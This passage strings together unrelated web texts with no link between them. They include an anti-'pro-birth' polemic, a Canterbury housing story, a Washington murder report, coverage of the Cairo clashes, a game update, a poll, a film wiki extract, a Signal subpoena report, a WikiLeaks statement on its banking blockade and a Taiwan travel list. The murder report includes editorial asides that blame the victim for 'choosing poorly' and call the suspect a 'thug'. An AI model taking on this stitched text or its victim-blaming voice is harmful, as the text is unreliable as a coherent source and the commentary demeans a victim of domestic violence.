have to be cared for their entire lives. At a VERY great financial expense to the families and to society. As the parent of a disabled person myself, you can not possibly know the pain we go through with our children. I look at my son, and know the hell he has been through. Schools that are abusive, not having a voice to speak up for himself. Living very little of life, because he's just not able to interact with it. Knowing he will probably never have a girlfriend, knowing he will have to be cared for by a society that often rejects him. More, a society that doesn't want to have to pay the 100,000 dollars a year it will take to house him in a decent group home for his life. But according to these churches, it doesn't matter. They still expect you to continue to have children even if that child will be born with life limiting disabilities. How is that pro-"life"? Everything I just covered above is dealing with the "no birth control inside of marriage" idea. What about the "no birth control" idea outside of marriage? What about that poor teen aged girl who was only given an abstinence only education by the same church? Who wasn't even given the most basic knowledge of exactly what sex IS, never mind the lesson on "how you get pregnant"? Essentially, that poor girl is sent out into the world with no education at all, no protection.. and gets taken advantage of by a boyfriend and gets pregnant? She is going to have hell to pay from her parents, who some how think she should have known better but didn't give her an education to know, Period. Then you are going to stick her with raising a baby that is a constant reminder of "how she screwed up" and how she is such an "embarrassment", "immoral" and a "slut" according to her parents and the church who refused to educate her in the first place? How nice of you. What about that woman who was minding her own business and gets raped and impregnated? Lovely that you want her to be reminded of something horribly traumatic and disgusting every day of her life! Let me guess she "deserved it" and it was "Gods will" that she was raped, right? What about that little 10 year old who "played a game with Daddy" and gets pregnant? Nevermind the fact that her little body can not handle a pregnancy with out permanent damage, or the fact that the child will be born from incest or the terrible mental damage it will do to her to be forced to have her own sibling. Congratulations all you pro-birthers. The idea that birth control should be non-existent and so should abortion just doomed all those innocent females to a living and perhaps life threatening hell. And doomed the baby as well. How is that pro-"life"? I could go on and on. There are a thousand issues on this topic. But what I see is this: Calling these people and churches pro-life is wildly incorrect. They are pro-birth. But they are also: Pro-child abuse Pro-women slavery Pro-starvation Pro-fear Pro-environmental destruction Pro-cruelty Pro-ignorance Pro-destruction of marriage Pro-poverty Pro-overpopulation Pro-war Pro-insanity Pro-self hatred Pro- "don't give them a chance" But they most CERTAINLY are not PRO LIFE!!!!!!! -'I've had enough' - Canterbury caravan mum JOHN KIRK-ANDERSON/The Press Trina Nesbitt is living in a caravan with her two children. A tiny stray kitten hides under Trina Nesbitt's borrowed caravan. It has wide eyes, fearful of coming out. Nesbitt decided to adopt it. "I know how it feels," she said. READ MORE: * Housing recovery neglects the poor * Squatting in abandoned quake buildings * Pensioner living in his car * 15 Filipino rebuild workers living in one house Nesbitt has lived at a north Canterbury caravan park with her two children for four months, unable to find an affordable home to rent. It is in stark contrast to her once settled life. She rented a home for 10 years and had a steady job as a receptionist. The change has broken her. John Kirk-Anderson Trina Nesbitt and her two children In front of her children she is bright and bubbly, but today, the magnitude of where she is living, from where she has been, overwhelms her. Tears course down her face. She tries to apologise for them. She never thought she would be living in a "trailer park". It costs $300 a week. "I've just had enough. I get just so sad and that's not me," she said. John Kirk-Anderson Inside Trina Nesbitt's home for three months - reading is her only escape route. Nesbitt cannot find a rental. "I never dreamed it would be so hard to get a home. "A mum with children? You don't get a look in. It's the prices of housing. It's just so expensive." After the 2011 earthquake Nesbitt was forced to move from her rental home because the landlord tripled the rent after renovations. She found a series of short-term homes and then a permanent one, but had to move out when the owners needed it for their own daughter, who was homeless. Nesbitt lost her job. A crash claimed the family car. The caravan is cold, which eats at Nesbitt's arthritis. She and her children share beds. Her daughter has anxiety. It was getting better until they moved into the caravan. Nesbitt gets up five times during the night to walk her children to the communal showers and toilets. "I know I'm probably being an over protective mum, but I just can't let them go by themselves," she said. On school days, Nesbitt buses with her children to their schools. She chats to the teachers to make sure her children are doing OK. From there, she walks to the Kaiapoi library to house and job hunt until it is time to pick up them up. She does not like going back to the caravan - a reminder of her "failure as a mum". "It breaks my heart because I feel like I've let them down. Every day they say to me 'Have we found a house?'" she said. She misses her "old life". "It's the small things like having people over for a barbecue. Or, this sounds silly I know, cleaning the house. "My sister, every time she leaves here she cries. She hates coming here and hates seeing us like this." Nesbitt reads to distract her from her surroundings. At least for those few hundred pages, she can pretend her children do not live in a caravan. It is nearing 3pm. Nesbitt wipes away her tears to get ready to go meet her children. She must remain upbeat for them. It is what mothers do, she said. A month later, Nesbitt is still at the caravan park. She is no closer to finding a home. This week, Canterbury's post-earthquake housing problems will be illustrated through a number of articles and videos showing people living in desperate circumstances. Social and health agencies say there is no bigger crisis facing the region than the security and affordability of housing. This is Home Truths. - Stuff -Photo credit: FOXQ13 There's was an active manhunt underway in and around Milton, Washington for a man that Police say killed his sexual partner. The woman, 25-year-old Wendi Traynor had an active life, and that was cut short by the hands of 27-year-old Joshua Kioni Ellis, according to Milton Police. The body of Traynor was found in her apartment by her uncle, who went to check in her this past Friday and found her corpse. Officials say officers with the Milton Police Department went to the apartment at the Surprise Lake Village Apartments off Queens Way. “They hadn’t heard from her in a period of time, and it was uncommon for them not to have communication from her, so they went to check on her,” said Sergeant Russ Hume with the Milton Police Department. According to Traynor’s father, she attended Eastside Catholic High School and got her degree in law and justice from Central Washington University, with the anticipation to become an FBI agent. Now it's likely the Federal Bureau of Investigation will be involved in investigating her murder because she was once a TSA Agent at Sea-Tac Airport and had just recently passed the examinations for her air traffic controller promotion. Her family and friends say Traynor had a “heart of gold”, and her dad remembered her for having a “smart and sassy” attitude; something he hoped she'd use to follow his career path as an air traffic controller himself. Milton resident Kejuan Jones also lived in the apartment complex where the murder occurred, and he's shocked that this could happen so close to him. “It makes me want to go to the office on Monday and say I want out of here,” Jones said. Police had originally issued an arrest warrant for Kioni Ellis, and they warned that he was known to carry firearms, an obvious thug, so there was a “do not approach” caution for those who may have encountered him. “He’s local to the area - not local to Milton as far as we know, and between the two of them, they had some sort of domestic relationship,” Hume said. Once again an example of a woman choosing poorly in her dating life, has apparently resulted in her death. I think there's a saying for that. Meanwhile, the family has covered the windows of Traynor’s apartment with black covers, until they can go and collect their now deceased daughter's belongings. “There’s caution tape all over my complex. It’s not something the everyday person doesn’t see, you see it on the news, you see it on the movies, but when it’s a few feet away from you, it’s a whole different experience,” Jones said. On Saturday night the Milton Police announced they had a suspect in custody, so it's now assumed Kioni Ellis is incarcerated. Police did not go into detail as the relationship between Ellis and Traynor but are describing the case as domestic violence homicide. Surprisingly enough Kioni Ellis has no prior criminal record, he just automatically escalated to murdering a woman. Really makes you think. If you have any information about the homicide of Wendy Traynor or Joshua Kioni Ellis you're urged to contact authorities at (253) 922-8735. —[email protected] On Twitter: @IWillRedPillYou Tips? Info? Send me a message! -Bloodbath in Cairo: More than 120 dead and 1,000 injured after police 'shoot to kill' in violent clashes which have rocked Egypt WARNING GRAPHIC CONTENT Hundreds of thousands turned out across Egypt for pro-army demonstrations They clashed with supporters of ousted President Mohammed Morsi who also lined the streets Morsi has been formally accused of conspiring with Palestinian group Hamas and of murdering prison officers The fighting is the country's bloodiest incidence of violence since the army deposed Morsi earlier this month Advertisement More than 120 people are believed to have been killed at a protest in support of Egypt's ousted President Mohammed Morsi, according to the Muslim Brotherhood. Security forces are reported to have started shooting demonstrators shortly before pre-dawn morning prayers at a round-the-clock vigil in Cairo being staged by backers of Morsi, who was removed from power by the army three weeks ago. Makeshift field hospitals around the area near the Rabaa al-Adawiya mosque were overwhelmed, with one doctor telling the BBC that more than 1,000 had been injured. Scroll down for videos Anguish: Up to 120 people are reported dead in Cairo after defiant supporters of ousted President Mohammed Morsi were protesting his removal from power Battleground: Central Cairo looked like a warzone as residents walked home around the makeshift road blocks Clashes: Supporters of the Muslim Brotherhood and ousted president Mohamed Morsi fighting with opponents to Morsi in the distance Another round of violence: Flowers are placed next to a trail of blood at the scene of clashes in Cairo yesterday Deadly violence: The bodies of killed supporters of ousted president Mohamed Morsi in a field hospital at Rabaa Adawiya mosque following clashes with security forces in Cairo Makeshift morgue: The Muslim Brotherhood are putting the death toll at around 120 people Grief: Relatives mourning outside a field hospital at Rabaa Adawiya mosque on Saturday Followers: This image released by the Egyptian army of Friday evening's pro-army rally shows the strength of support for the security forces and against the ousted president Morsi Demonstration: Hundreds of thousands took to the streets as supporters of the army heeded a call to rally Support: Demonstrations like this pro-army gathering in Tahrir Square on Friday night were met with counter-protests by Morsi followers The state health ministry currently says that only 65 people had died and 750 suffered injuries. However, Al Jazeera Egypt reported that some 4,500 may have been injured in the early morning violence. Military-backed authorities were feeling emboldened today after millions turned out for nationwide rallies on Friday called by the army chief. A leading figure of Morsi's Muslim Brotherhood, Mohammed el-Beltagy, blamed the violence on army chief General Abdel-Fattah el-Sissi's call for rallies on Friday. Hundreds of thousands of people came onto the streets after army chief General Abdel Fattah el-Sisi, who played a central role in overthrowing the president, called for Egyptians to rally to give him a mandate to tackle 'violence and terrorism'. Support: A Egyptian man waves national flags as an army helicopter flies over supporters of the army in Tahrir Square Show of strength: Supporters of the army gathered in Tahrir Square in Cairo on Friday Lights: Hundreds of laser lights were shone into the sky by demonstrators in Tahrir Square who rallied to show support for the army Reporters at the scene said firing could still be heard hours after the troubles started. ' They are not shooting to wound, they are shooting to kill,' said pro-Morsi Muslim Brotherhood spokesman Gehad El-Haddad. The deaths occurred hours after supporters and opponents of Morsi staged mass rival rallies across the country. Ragab Nayel Ali, one of the pro-Morsi protesters, said security forces fired first with tear gas and birdshot. 'Protesters replied by hurling rocks and started building walls,' said Ali, who was injured in an accident as he ferried wounded on his motorcycle from the fighting to a field hospital. Clash: Security forces fired rounds of teargas at pro-Morsi supporters at a vigil in Cairo Barricade: Supporters of the deposed president throw stones from behind a makeshift wall as they take cover from the police during clashes in Cairo Explosion: Fireworks are set off near police and pro-army protesters by supporters of Morsi Warzone: The streets of Cairo descended into chaos as supporters of the army clashed with pro-Morsi demonstrators Confusion: Security forces said they had fired teargas at pro-Morsi supporters but denied shooting at them Aftermath: Supporters of President Morsi lay flowers near a puddle of blood, while a woman cries outside a field hospital in the Nasr area of the city Destruction: Stones and flowers are laid next to a trail of blood that has splattered across a tiled floor during the clashes in the early hours of Saturday The fighting is the country's bloodiest incidence of violence since the army deposed Mohammed Morsi earlier this month. British Foreign Secretary William Hague said: 'I am deeply concerned by recent events in Egypt, and condemn the use of force against protesters which has led to the loss of lives.' But Muslim Brotherhood supporters also staged mass counter-rallies, demanding the reinstatement of Morsi, who was placed under investigation on Friday for a raft of crimes, including murder. More than 200 people have died in violence since the overthrow of Morsi, including at least nine on Friday, most of them Brotherhood supporters. Mr Haddad said the latest deaths came after police started firing repeated rounds of teargas around 3am at protesters who had spilled out of the main area of the Rabaa sit-in. 'Through the smog of the gas, the bullets started flying,' he said. Security: A military helicopter patrols the skies above Tahrir Square where hundreds of thousands of supporters of the army gathered on Friday Flares: Fireworks were let off above the crowds at the presidential palace in Cairo Split: Both the army and the ousted president have thousands of supporters in Egypt Conflict: Police stand back as teargas is fired into a crowd in Cairo in the early hours of Saturday morning He claimed 'special police forces in black uniforms' were firing live rounds and that snipers shot from the roofs of a university, buildings in the area, and a bridge. State news agency MENA quoted an unnamed security source as saying that only teargas was used to disperse protesters. He said no firearms were used. Mr Haddad said the pro-Morsi supporters had used rocks to try to defend themselves. On the podium outside the Rabaa mosque, a speaker urged people to retreat from the gunfire, but Mr Haddad said 'men stayed to defend themselves because women and children are inside the sit-in'. Accusations: The clashes came as Morsi was accused of crimes including murder Distress: An injured supporter of Morsi kneels on the ground after clashes with riot police in the capital Injuries: A supporter of the ousted president is rushed to a field hospital in the Nasr area of Cairo Attack: A spokesman for the Muslim Brotherhood claimed hundreds of people were injured when security forces shot at them in the early hours on Saturday Treatment: At least 70 people are thought to have died, while scores of the injured were rushed to a field hospital Makeshift: An injured man is rushed through the crowds to a field hospital on the back of a moped Help: A pro-Morsi supporter is treated in a field hospital following clashes between security forces and demonstrators Senior Brotherhood politician Saad el-Hosseini said: ' I have been trying to make the youth withdraw for five hours. I can't. They are saying have paid with their blood and they do not want to retreat.' Egypt's army-installed interior minister, Mohamed Ibrahim, said on Friday that the month-old Cairo vigils by Morsi supporters would be 'brought to an end, soon and in a legal manner', state-run al Ahram news website reported. Yesterday the country's new rulers accused Morsi of conspiring with the Palestinian Islamist group Hamas and plotting to attack police stations, army officers and prisons during the 2011 uprising against former president Hosni Mubarak. During the 2011 struggles, he had escaped from a prison and has now been accused of the 'premeditated killing of officers, soldiers and prisoners'. Ousted: Former president Mohammed Morsi has been formally accused of a raft of crimes and is expected to be charged Backing: Supporters of Egypt's ousted president Mohamed Morsi take part in a demonstration in the city of Alexandria, where at least five people died The announcement by prosecutors of the investigation against Morsi is likely to pave the way to a formal indictment and eventually a trial. It was the first news of his legal status since he was deposed by the military on July 3. Since then, the Islamist leader has been held incommunicado in a secret location. Besides Morsi, five other senior figures from the group have been detained. Hassan Mohammed, a 30-year old teacher who came from southern Egypt to join the pro-Morsi rally, remained steadfast. -Welcome to Defense with Boss decks! We are happy to release the first major update to Labyrinth that includes a first taste of Defense gameplay. You can now play against other people. Although much may still change, this is a taste of the new features: Build a boss deck in the Deck Editor, then set it active on the Defense screen. Start Raid randomly matches you against other players' boss decks, one at a time. Or practice against your active boss deck. Watch raids against your boss in Replays. In the tutorial video above, Bradley shows you how to build defense decks. Highlights include: Defense cards have a star cost and type. You can't build over your star limit and you need at least 5 Spell cards. Perk and Lair cards play immediately. Spell cards draw randomly every time. In our opinion, this system drastically improves the pace of the raid. New Content Most cards have changed significantly and there are lots of new cards. We are also introducing a new boss, the Giant Queen. You even get a glimpse of card backs if you watch replays. Report Bugs With this build we are turning on the servers for the first time and they have never had any significant load on them. There will be bugs--even hangs and crashes. If you get stuck, restart Labyrinth. Please let us know about any bugs you find. Not sure it's a bug? Join the discussion on our Discord channel. This link will last for about 20 hours: https://discord.gg/0qQZOLrkMMegpOeA What's Next? Look forward to progression, loot?, scoring, and new heroes and bosses soon! After you have a chance to play Labyrinth, please write a review on Steam: http://store.steampowered.com/app/412310 -Asked whether Hillary Clinton's conduct made them worried about what the former secretary of state would do as president, 57 percent responded that it did. | Getty Poll: Majority disapproves of FBI's Clinton decision A double-digit majority of Americans disapproves of the FBI's decision last week to not recommend charges against Hillary Clinton in the investigation into her private email server, according to the results of the latest ABC News/Washington Post poll out Monday. More than half—56 percent—said they disagreed with FBI Director James Comey's recommendation to the Justice Department to not charge Clinton with any crime, even as he remarked that she and her colleagues were "extremely careless" while slightly more than one-third, or 35 percent, said they approved. Story Continued Below Asked whether Clinton's conduct made them worried about what the former secretary of state would do as president, 57 percent responded that it did, while 39 percent said the issue is not related to how she would perform as commander in chief. A majority, 58 percent, said the decision would make no difference in whether they would support Clinton, while 28 percent said it would make it less likely for them to support her, while only 10 percent said it would make them more likely. The poll was conducted July 6-7 via landlines and cellphones, surveying a random national sample of 519 adults with an overall margin of error of plus or minus 5 percentage points. -Synopsis Edit Production Edit Music Edit Meaning Edit Reggio stated that the Qatsi films are intended to simply create an experience and that "it is up [to] the viewer to take for himself/herself what it is that [the film] means." He also said that "these films have never been about the effect of technology, of industry on people. It's been that everyone: politics, education, things of the financial structure, the nation state structure, language, the culture, religion, all of that exists within the host of technology. So it's not the effect of, it's that everything exists within [technology]. It's not that we use technology, we live technology. Technology has become as ubiquitous as the air we breathe ..."[3] According to Hopi Dictionary: Hopìikwa Lavàytutuveni, the Hopi word koyaanisqatsi ( Hopi pronunciation: [kojɑːnisˈkɑtsi]) is defined as "life of moral corruption and turmoil" or "life out of balance". The prefix koyaanis– means "corrupted" or "chaotic", and the word qatsi means "life" or "existence", literally translating koyaanisqatsi as "chaotic life". The film also defines the word as "crazy life", "life in turmoil", "life disintegrating", and "a state of life that calls for another way of living".[28] In the score by Philip Glass, the word "Koyaanisqatsi" is chanted at the beginning and end of the film in an "otherworldly"[29] dark, sepulchral basso profondo by singer Albert de Ruiter over a solemn, four-bar organ-passacaglia bassline. Three Hopi prophecies sung by a choral ensemble during the latter part of the "Prophecies" movement are translated just prior to the end credits: "If we dig precious things from the land, we will invite disaster." "Near the day of Purification, there will be cobwebs spun back and forth in the sky." "A container of ashes might one day be thrown from the sky, which could burn the land and boil the oceans." During the end titles, the film gives Jacques Ellul, Ivan Illich, David Monongye, Guy Debord, and Leopold Kohr credit for inspiration. Moreover, amongst the consultants to the director are listed such names as Jeffrey Lew, T.A. Price, Belle Carpenter, Cybelle Carpenter, Langdon Winner, and Barbara Pecarich. Releases Edit Reception Edit Influences Edit See also Edit Notes Edit -Earlier this year, Open Whisper Systems was served with a federal subpoena for records on its users, according to documents published today. Prosecutors were seeking data on two suspects who used Signal, an encrypted chat app produced by Open Whisper. Unfortunately for the government, Signal keeps only minimal logs on users, so the vast majority of the requested information was unavailable. The American Civil Liberties Union, which represented Open Whisper Systems in the fight, has published a number of court filings related to the the request. Portions of the filings are redacted and much about the subpoena is still secret — including the case number, the date it was served, and the details of the underlying case — but it’s clear that the government sought detailed information on the users including subscriber name, payment information, and associated IP addresses. Filed under gag order It’s also clear that almost none of that information was ultimately produced. One of the phone numbers named by the government did not correspond to a Signal account, and logs on the other number showed only when the user first signed up for the service and when they most recently logged in. Crucially, the request was filed under gag order, and Open Whisper was only able to publish the documents after a significant legal fight. That has become standard practice for such requests, although many legal scholars believe widespread use of the tactic presents a threat to free speech. Open Whisper Systems wrote the encryption software that powers WhatsApp and Allo’s Incognito mode, but all of the associated hardware is run by Facebook and Google, respectively. As a result, many of those apps have different logging practices, and could be vulnerable to such an order. WhatsApp was rumored to have resisted a similar wiretap order earlier this year, although the details of the case are still unknown. -For information on how to beat the banks visit our donate page. For further information on the banking blockade against WikiLeaks download this PDF. A kit with full information on the blockade and tools to assist WikiLeaks through it can be downloaded here. Created: 24th October, 1pm GMT WikiLeaks has published the biggest leaks in journalistic history. This has triggered aggressive retaliation from powerful groups. Since 7th December 2010 an arbitrary and unlawful financial blockade has been imposed by Bank of America, VISA, MasterCard, PayPal and Western Union. The attack has destroyed 95% of our revenue. The blockade came into force within ten days of the launch of Cablegate as part of a concerted US-based, political attack that included vitriol by senior right wing politicians, including assassination calls against WikiLeaks staff. The blockade is outside of any accountable, public process. It is without democratic oversight or transparency. The US government itself found that there were no lawful grounds to add WikiLeaks to a US financial blockade. But the blockade of WikiLeaks by politicized US finance companies continues regardless. As a result, WikiLeaks has been running on cash reserves for the past eleven months. The blockade has cost the organization tens of millions of pounds in lost donations at a time of unprecedented operational costs resulting from publishing alliances in over 50 countries, and their inevitable counter-attacks. Our scarce resources now must focus on fighting the unlawful banking blockade. If this financial attack stands unchallenged, a dangerous, oppressive and undemocratic precedent will have been set, the implications of which go far beyond WikiLeaks and its work. Any organization that falls foul of powerful finance companies or their political allies can expect similar extrajudicial action. Greenpeace, Amnesty International, and other international NGOs that work to expose the wrongdoing of powerful players risk the same fate as WikiLeaks. If publishing the truth about war is enough to warrant such aggressive action by Washington insiders, all newspapers that have published WikiLeaks’ materials are on the verge of having their readers and advertisers blocked from paying for their subscriptions. The UN High Commissioner for Human Rights has openly criticized the financial blockade against WikiLeaks, as have the UN Special Rapporteur on the Promotion and Protection the Right to Freedom of Opinion and Expression and the Inter-American Commission on Human Rights Special Rapporteur for Freedom of Expression. The blockade erects a wall between us and our supporters, preventing them from affiliating with and defending the cause of their choice. It violates the competition laws and trade practice legislation of numerous states. It arbitrarily singles out an organization that has not committed any illegal act in any country and cuts it off from its financial lifeline in every country. In Australia, a formal, US triggered investigation into our operations found that WikiLeaks and its founder Julian Assange have no case to answer. In the US, our publishing is protected by the First Amendment, as has been repeatedly demonstrated by a wide variety of respected legal experts on the US Constitution. In January 2011 the U.S. Secretary of the Treasury, Timothy C. Geithner, announced that there were no grounds to blacklist WikiLeaks. There are no judgements, or even charges, against WikiLeaks or its staff anywhere in the world. The most powerful players in the banking industry have shown themselves to be a politicized arm of Washington. This collusion has occurred outside of any judicial or administrative process. The reach of these companies is global and violates the most basic principles of sovereignty. In Europe, VISA and MasterCard together control 97% of the card payment market. Alternatives have been aggressively opposed by VISA and US embassies. The European Central Bank announced plans in 2008 to introduce a European card system. A similar 2010 proposal in Russia together with a bill banning individualized VISA transaction records from going to the US were met with intervention by the US Embassy in Moscow. VISA calls itself the world’s largest currency, but every transaction is controlled by the VISA corporation and the groups that influence it. VISA is a national security problem and a threat to state sovereignty. No state, individual or organization has full economic autonomy or privacy if they rely on VISA. It is able to provide significant intelligence on not only individual behaviour and economic relationships but on large sections of the entire microeconomy and the movement of labour. The Bank of America is one of the principle promoters of the WikiLeaks financial blockade; it is also the creator of VISA, which until 1976 was called the “Bank Americard”. In February this year, it was revealed in detail that the Bank of America had commissioned, through Washington lawyers Hunton & Williams, a consortium of three US intelligence contractors, including HBGary, to propose a systematic US $2 million/month multi-pronged attack to hack and smear WikiLeaks. HBGary was referred to the bank’s lawyers by contacts within the US Department of Justice. The correspondence and proposals, which include plans to target journalists and lawyers supporting WikiLeaks, are now public. An extract from the proposal to sabotage WikiLeaks can be found on page 16 of plan 6: Feed the fuel between the feuding groups. Disinformation. Create messages around actions of sabotage or discredit the opposing organizations. Submit fake documents and then call out the error. Create concern over the security of the infrastructure. Create exposure stories. If the process is believed not to be secure they are done. Cyber attacks against the infrastructure to get data on document submitters. This would kill the project. Since the servers are now in Sweden and France putting a team together to get access is more straightforward. Media campaign to push the radical and reckless nature of WikiLeaks activities. Sustain pressure. Does nothing for the fanatics, but creates concern and doubt among moderates. In order to ensure our future survival, WikiLeaks is now forced to temporarily suspend its publishing operations and aggressively fundraise in order to fight back against this blockade and its proponents. We have commenced pre-litigation action against the blockade in Iceland, Denmark, the UK, Brussels, the United States and Australia. We have lodged an anti-trust complaint at the European Commission and expect a decision by mid-November as to whether the European Competition Authority will open a full investigation into the wrongdoing of VISA and MasterCard. Our battles will be costly. We need your support. A handful of US finance companies cannot be allowed to decide how the whole world votes with its pocket. Graph Showing Donations Successfully Transferred to WikiLeaks: Financial Blockade: Chronology - 27 November 2010: United States - US State Department intentionally and wrongfully imply (but do not formally state) illegal conduct by WikiLeaks in a letter to lawyers for Julian Assange, which they then immediately leak to the press - 29 November 2010: Global - Cablegate publication starts with New York Times, Der Spiegel, El Pais & the Guardian, expanding eventually to over 90 publications in over 50 countries. - 29 November 2010 and following days: United States - Assassination calls and declarations of war by US senators, pundits and media against WikiLeaks. - 1 December 2010: United States/Global - Amazon stops hosting WikiLeaks - 2 December 2010: United States/Global - EveryDNS stops wikileaks.org domain service - 3 December 2010: United States/Global - Paypal discontinues service - 4 December 2010: Germany - PayPal blocks Wau Holland Stiftung’s (WHS, the foundation receiving donations for WikiLeaks) access to its account and freezes remaining money for 180 days. The money is released immediately by PayPal after a WHS lawyer intervenes. - 6 December 2010: Switzerland - Swiss Post Finance freezes Julian Assange Defence Fund account in Switzerland - 7 December 2010: United States/Global - Visa and MasterCard stop processing payments to WikiLeaks. Germany - A letter from the FA Kassel (Kassel tax department) to WHS Foundation, which receives donations for WikiLeaks, asked whether donations have been transferred to WikiLeaks. WHS responded promptly, with data detailing transfers to WikiLeaks - 8 December 2010: United States/global - Updated Statement about WikiLeaks from PayPal General Counsel - 9 December 2010: Global - UN High Commissioner for Human Rights condemns blockade - 12 December 2010: Iceland - Icelandic Parliament Considers Revoking Visa/MasterCard Licenses For Wikileaks Ban - 15 December 2010: Germany - FA Kassel (tax department) announces WHS (the foundation that receives donations for WikiLeaks) charitable status may be revoked (pending investigation). - 16 December 2010: Global - Amnesty International examines Human Rights at stake when blocking WikiLeaks payments - 18 December 2010: United States/global - Bank of America discontinues any services intended for WikiLeaks - 20 December 2010: United States - Apple removes WikiLeaks application for iPhones - 21 December 2010: United States/Global - Western Union adds WikiLeaks to 'Interdiction List' Global: UN and OAS Special Rapporteurs on Freedom of Expression issue a Joint Statement Condemning the Blockade against WikiLeaks - 26 December 2010: United States: New York Times Editorial Condemns Blockade - 30 December 2010: Denmark/Global - Denmark-based contractor for VISA Europe and MasterCard, Teller AS, reports that WikiLeaks has not violated any VISA regulations, Icelandic or Danish laws. - 1 January 2011: Germany – WHS Foundation, which receives donations for WikiLeaks moves its office from Kassel to Hamburg - 13 January 2011: United States - US Treasury finds no grounds to blacklist WikiLeaks - 17 January 2011: UK - WikiLeaks Press conference with Rudolf Elmer - 19 January 2011: Switzerland - Elmer is handed suspended sentence. He is the arrested without charge in connection with WikiLeaks press conference. - 9 February 2011: United States/Global - Bank of America, who hired data intelligence firms HBGary, Palantir Technologies and Berico Technologies, is revealed to have commisioned a proposal of a systematic attack against WikiLeaks. The proposal is leaked. - 24 February/1 March 2011: United States – Ethics complaint filed at the DC Bar against law firm Hunton&Williams and members of Congress call for probe into illegal conduct by the firm (hired by Bank of America to sabotage WikiLeaks and target WikiLeaks’ supporters) - 14 February 2011: Germany: FA Hamburg-Nord (tax department) drops Kassel investigation into WHS Foundation’s (which receives donations for WikiLeaks) charitable status, but initiates a new investigation on different grounds. - 9 June 2011: EU - WikiLeaks & Datacell announce prospective EU Commission Complaint against VISA and Mastercard - 7 - 8 July 2011: Iceland/Global - DataCell: Credit card donation to WikiLeaks is accepted again but VISA closes payments hours after - 14 July 2011: EU - WikiLeaks & Datacell file a Complaint to the European Commission for infringement of the EU Anti Trust Laws - 25 July 2011: Switzerland - Rudolf Elmer is released after 187 days in detention. He had not been charged. - 24 October 2011: Global - WikiLeaks suspends publication to invest all resources in fighting the blockade. Germany - Decision on revoking WHS (the foundation that receives donations for WikiLeaks) status is still pending; WHS has been prevented from opening new bank accounts in Switzerland and Germany for the past 9 months. For information on how to beat the banks visit our donate page. For further information on the banking blockade against WikiLeaks download this PDF. A kit with full information on the blockade and tools to assist WikiLeaks through it can be downloaded here. -PHILADELPHIA -- Authorities say a Buddhist monk chased and grabbed a man who had stolen his wallet at a South Philadelphia gas station. The Philadelphia Daily News reports that the 61-year-old victim, dressed in an orange robe, was accosted while he was at a lottery machine at the gas station on Jan. 3. A police spokeswoman confirmed that he is a Buddhist monk. Surveillance video posted by police shows another man grabbing the monk's wallet and running out of the store, and the victim struggling with him outside before being pushed to the ground. CBS Philadelphia reports that the suspect took off in a dark silver car. The victim was cut on his leg during the scuffle. The robber escaped with the victim's wallet, which police said contained $350. Authorities are asking for the public's help in identifying him. -The first non-stop flights from the UK to Taiwan in five years will launch in December, courtesy of China Airlines. From its 100 peaks above 3,000 metres to a toilet-themed restauurant, here are 15 reasons why you should concern yourself with visiting the Asian island. 1. There's a museum of 696,422 exhibits The sixth most visited museum in the world (6.1m people each year), and home to an impressive 696,422 exhibits, the National Palace Museum in Taipei is a tremendous repository showcasing more than 8,000 years of Chinese art. John O’Ceallaigh, who visited for the Telegraph in 2017, said it boasts “some of the most exquisite artworks in existence”, while the building itself, on a verdant hillside on the outskirts of the city, is a “dramatically beautiful, multi-tiered complex”. Its vast galleries are dedicated to luminescent jades, lustrous lacquerwares and paraphernalia ranging from snuff bottles to rare bronzes to intriguing oddities such as an intricately detailed miniature boat carved from an olive pit. Marble columns at the National Palace Museum in Taipei Credit: getty 2. A gigantic gold bar In the mountain town of Jinguashi is the Gold Ecological Park where visitors can learn about the history of gold mining in the region, and marvel at one of the original tunnels. And at the park’s museum, you can touch one of the largest gold bars in the world - weighing in at 222kg. 3. And a toilet-themed restaurant For a different kind of cultural experience, head to Modern Toilet, a lavatory-themed restaurant. “Diners sit on loos decorated with cartoon toilet seats and tuck into novelty dishes – including chocolate ice cream styled to resemble faeces – eaten from miniature cisterns and bedpans: a truly weird culinary experience that’s a big hit with young Taiwanese,” wrote Sally Howard for Telegraph Travel. Each to their own. 4. But Taiwanese food is actually very good Toilet establishments aside, the cuisine is reason enough to visit Taiwan. Enjoy spicy pork dumplings and beef noodle soup bought from street vendors or gorge on platefuls of xiaochi or “small eats” at one of the nation’s 300 night markets. Enjoy spicy food in one of 300 night markets Credit: getty 5. It has a fascinating history First inhabited by indigenous Taiwanese before it was colonised by the Dutch and then the Spanish in the 17th century, Taiwan came under Japanese rule after the Qing Dynasty lost the Sino-Japanese War in 1895. The Republic of China then took the island back in 1945. Today, its political status is somewhat ambiguous, having been the safehouse for the ousted Republic of China government after the People's Republic of China won the Chinese Civil War. Its cultural heritage, therefore, is a blend of Taiwanese, traditional Chinese and Japanese. 6. They love their night markets Hustling, bustling, buzzing and brightly lit, the night markets of Taiwan are quite an experience. From the best-known Shilin Night Market to Tainan Flowers Night Market, these open-air festivals of sound, smell and taste take place on different nights around the island so be sure to research ahead. There is around 300 to choose from. 7. You can soak in a hot spring “The result of being located on a tectonic join, the springs come in various colours, temperatures and mineral make-ups, and their popularity among visitors is another legacy of the Japanese,” wrote Ben Lerwill for Telegraph Travel in 2013, of the springs mostly found in the east of the country. “I visited the Ruisui springs, which were warm enough to boil me into an afternoon-long submission. I wallowed until the stars came out.” 8. It has a green and lush valley Taiwan’s East Rift Valley runs along the island’s eastern coast and boasts acres of rich, lush countryside. Ben Lerwill writes: “While much of the west holds industrial zones and urban settlements, the opposite coast is far quieter. The last portion of my trip was spent in the East Rift Valley, a deep green landscape sliced in two by the Tropic of Cancer, marked by rice paddies and a continuous wall of enormous broken ridges. It is countryside crying out to be explored, a fact aided by a comprehensive network of cycle trails. I spent hours circling the farming town of Guanshan on a hired bike, disturbing little other than flocks of egrets and the occasional water buffalo.” 9. And a bling monastery “Retail opportunities are not typically associated with monastic orders, but there is nothing typical about the gargantuan Chung Tai Chan Monastery in Puli Town, where tourists are escorted by saffron-robed monks sporting photo identity cards and earphones and by microphone-wired security guards,” says Anthony Lambert, a regular contributor to Telegraph Travel. “The $190,000 woodcarvings in the shop seem to be the least of their worries. If Mecca is turning into Las Vegas, as a report once suggested, the Chung Tai Chan Monastery is more Canary Wharf meets Las Vegas. “The colossal structure, finished around the year 2000, dominates the surrounding countryside. Its gold-topped stupa on a 37-storey tower is flanked by sloping barrack blocks for the 1,600 monks, ending in wings with faux battlements, machicolations and arrow slits.” Chung Tai Chan Monastery Credit: getty 10. But plenty more arresting places of worship The island has more traditional religious buildings, too, not least the Unesco-recognised Baoan Temple. 11. There is 